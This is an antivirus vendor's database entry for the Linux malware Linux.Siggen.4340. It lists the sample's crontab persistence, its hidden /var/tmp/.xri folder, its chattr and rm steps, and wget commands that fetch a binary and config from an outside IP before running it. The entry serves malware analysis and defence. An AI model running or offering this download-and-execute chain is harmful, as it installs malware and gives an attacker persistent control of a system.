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Linux.Siggen.4340

Added to the Dr.Web virus database: 2022-01-20

Virus description added:

Technical Information

To ensure autorun and distribution:
Creates or modifies the following files:
  • /etc/crontab
Malicious functions:
Launches processes:
  • /bin/bash <SAMPLE_FULL_PATH> -c exec '<SAMPLE_FULL_PATH>' \"$@\" <SAMPLE_FULL_PATH>
  • <SAMPLE_FULL_PATH>
  • /bin/bash <SAMPLE_FULL_PATH> -c
  • pgrep xri
  • ls -l /var/tmp/.xri/xri
  • awk {print $5}
  • mkdir /var/tmp/.xri
  • chattr -ia /var/tmp/.xri/xri
  • chattr -ia /var/tmp/.xri/config.json
  • rm -rf /var/tmp/.xri/xri
  • rm -rf /var/tmp/.xri/config.json
  • wget http://141.95.19.91:8080/xri/xri --no-check-certificate
  • wget http://141.95.19.91:8080/xri/config.json --no-check-certificate
  • chmod +x /var/tmp/.xri/xri
  • grep secure
  • cat /etc/crontab
  • sleep 1
  • /var/tmp/.xri/xri
Performs operations with the file system:
Creates folders:
  • /var/tmp/.xri
Deletes files:
  • /var/tmp/.xri/xri
  • /var/tmp/.xri/config.json
Network activity:
Establishes connection:
  • 14#.##.19.91:8080
Other:
Collects CPU information
Collects RAM information

Curing recommendations


Linux

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